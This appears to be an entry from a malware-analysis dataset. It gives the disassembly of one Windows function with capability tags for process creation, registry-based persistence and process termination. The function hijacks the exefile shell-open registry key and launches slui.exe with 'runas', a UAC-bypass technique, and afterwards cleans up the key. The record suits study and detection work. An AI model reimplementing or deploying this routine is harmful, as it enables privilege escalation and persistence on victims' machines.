Function at 0x140016bdb
Capabilities:
Create process on windows
Persist via default file association registry key
Set registry value
Terminate process

Disassembly:
jmp 0x140021770
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x858
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x216
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x878]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x7f8], rax
lea rcx, [0x14006d0ef]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov dword [rbp + 0xc4], 0
mov dword [rbp + 0xe4], 0
mov rcx, qword [rbp + 0x820]
call fcn.14001680c
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x14002181a
mov eax, 0xc000000d
jmp 0x140021aac
lea rdx, str.SoftwareClassesexefile
lea rcx, [rbp + 0x110]
call fcn.14001616d
lea rdx, str._shellopencommand
lea rcx, [rbp + 0x110]
call fcn.1400165e1
lea rax, [rbp + 0xe4]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x110]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x140021a3a
mov qword [rbp + 0xa8], 5
mov rax, qword [rbp + 0x88]
lea rax, [rax + rax + 2]
mov dword [rbp + 0xc4], eax
mov rax, qword [0x140065a08]
mov eax, dword [rax + 0x58]
mov dword [rbp + 0x7f4], eax
cmp dword [rbp + 0x7f4], 1
je 0x1400218d7
jmp 0x14002190b
mov r9d, dword [rbp + 0xc4]
mov r8, qword [rbp + 0x820]
xor edx, edx
lea rcx, [rbp + 0x110]
call fcn.1400167fd
test eax, eax
jl 0x140021909
mov dword [rbp + 0x24], 1
mov qword [rbp + 0xa8], 0
jmp 0x140021944
mov eax, dword [rbp + 0xc4]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x820]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x140047438]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x14002195a
mov dword [rbp + 0x7f4], 1
jmp 0x140021964
mov dword [rbp + 0x7f4], 0
mov eax, dword [rbp + 0x7f4]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
je 0x140021a30
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14001616d
lea rdx, str.slui.exe
lea rcx, [rbp + 0x110]
call fcn.1400165e1
mov edx, 0x70
lea rcx, [rbp + 0x540]
call fcn.140016c2b
mov dword [rbp + 0x540], 0x70
lea rax, str.runas
mov qword [rbp + 0x550], rax
lea rax, [rbp + 0x110]
mov qword [rbp + 0x558], rax
mov dword [rbp + 0x570], 1
mov dword [rbp + 0x544], 0x40
lea rcx, [rbp + 0x540]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140021a30
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x5a8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x5a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbp + 0x24], 0
je 0x140021a45
call fcn.140016b9a
cmp dword [rbp + 0xe4], 1
jne 0x140021a63
lea rdx, str.SoftwareClassesexefile
mov rcx, 0xffffffff80000001
call fcn.140016046
jmp 0x140021aa9
cmp dword [rbp + 0x44], 0
je 0x140021aa9
lea rdx, str.SoftwareClassesexefile
lea rcx, [rbp + 0x110]
call fcn.14001616d
lea rdx, str._shellopencommand
lea rcx, [rbp + 0x110]
call fcn.1400165e1
lea r8, [0x140047438]
lea rdx, [rbp + 0x110]
mov rcx, 0xffffffff80000001
call fcn.1400167c6
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x1400475e8]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x7f8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x808]
pop rdi
pop rbp
ret